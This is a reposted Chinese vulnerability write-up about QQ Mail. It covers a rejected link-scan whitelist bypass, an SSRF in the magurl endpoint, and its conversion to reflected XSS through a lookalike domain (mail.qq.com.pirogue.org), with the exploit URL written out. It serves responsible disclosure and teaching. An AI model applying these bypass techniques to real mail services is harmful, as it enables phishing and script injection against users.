QQ邮箱反射型xss漏洞
Posted 合天智汇
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了QQ邮箱反射型xss漏洞相关的知识,希望对你有一定的参考价值。
点击“合天智汇”关注,学习网安干货
0x00 起因
甲方“一个人的安全部”的时候,一个研发的同事在设计一项报表功能时,因为受到邮箱的安全限制无法很好的实现,于是将情况反馈给我。说实话,我对浏览器的安全也不太了解,案头的书翻了几页就没再动过,于是对比了腾讯邮箱的做法,发现了这个xss。
0x01 背景
当然通过让厂商修改iframe的sandbox属性,改为sandbox=”allow-same-origin allow-popups allow-popups-to-escape-sandbox”,即可解决这个问题,但会影响邮箱的安全性。
于是我打开qq邮箱,发现QQ邮箱并没有这个iframe策略,而是通过一个三方“云端安全检测”,对邮件内连接进行拦截,提示用户要访问的页面可能有风险。
0x02 被src拒绝的“逻辑漏洞”
于是多打开了几封QQ邮件,点击了邮件内的链接,发现腾讯对智联招聘、拉钩等招聘网站的链接不会进行拦截,直接放行跳转,所以这其中是否存在一定的逻辑绕过呢?
测试过程就省略了,说结果吧,个人认为验证逻辑上还是有些问题:
当邮件内容出现链接时,点击跳转,默认QQ邮箱会进行在云端进行拦截检测。但是会有白名单机制,比如 http://www.lagou.com ,会把拉钩的招聘链接进行放行,云端安全检测检->进行跳转放行,无任何提示。
现有的逻辑如下:
https://www.lagou.com 不放行(因为https,非白名单)
www.lagou.com 不放行(不带有http,非白名单)
http://xss.pirogue.org 不放行(非白名单)
等等其他域名都不放行。
但当第一行是http://www.lagou.com ,第二行的链接都会放行(除去色情或被举报的网址)。
比如:
两个链接都会进行跳转。
如果第一个是http://www.lagou.com ,第二行的网址是一个钓鱼或挂马的链接,却没有被举报。那用户便可能会受到攻击。
后来的结果是大家都知道了,被忽略了。这点我没啥争议,不是漏洞也没关系,我想一探究竟,它是通过js获取邮件内的链接,遇到点击事件就丢到三方“云端url检测”的吗?所以在审计js代码的过程中,一不小心发现了一个类ssrf漏洞。
0x03 鸡肋ssrf变身反射型xss
ssrf漏洞
原功能链接:
https://mail.qq.com/cgi-bin/magurl?sid=e6tvxdAtN0XOUGoz&act=rep&url=http://x.soso.com/js/xf/xflib2.0.js
这个cgi读取到了js的内容
漏洞截图:
https://mail.qq.com/cgi-bin/magurl?sid=e6tvxdAtN0XOUGoz&act=rep&url=http://ip.qq.com/
但此ssrf限制了域名,比如.qq.com,.soso.com,等等腾讯自己的域名。所以除非你能再挖到腾讯自己的域名下的漏洞来结合使用。可是我们还可以测试一下是否可以绕过域名的白名单机制。
反射型xss漏洞
于是我构造了如下的url,成功绕过了白名单,提交了此漏洞:
构造的恶意链接:
http://mail.qq.com.pirogue.org/qq.com.html
内容如下:
Exp:
https://mail.qq.com/cgi-bin/magurl?sid=e6tvxdAtN0XOUGoz&act=rep&url=http://mail.qq.com.pirogue.org/qq.com.html
仔细看url链接里面存在一个sid,在后来的tsrc自测时发现,此sid只能是收件人的sid才能触发漏洞。额,有点self-xss的意思咯。但tsrc还是根据可能的危害程度,给了漏洞中危的回复。
0x04 结语
之前在搞一个目标的时候还挖到了一个QQ企业邮箱的存储型xss,但那个存储型xss没啥技术含量,而这个反射的起因到结果还是挺有趣的,所以迫不及待的想分享给大家。
本文转自博客:pirogue
原文链接:http://pirogue.org/2017/08/25/qqmailxss/
别忘了投稿哟!!!
大家有好的技术原创文章。
欢迎投稿至邮箱:edu@heetian.com;
合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。
有才能的你快来投稿吧!
合天网安实验室
网址 : www.hetianlab.com
长按图片,据说只有颜值高的人才能识别哦→
以上是关于QQ邮箱反射型xss漏洞的主要内容,如果未能解决你的问题,请参考以下文章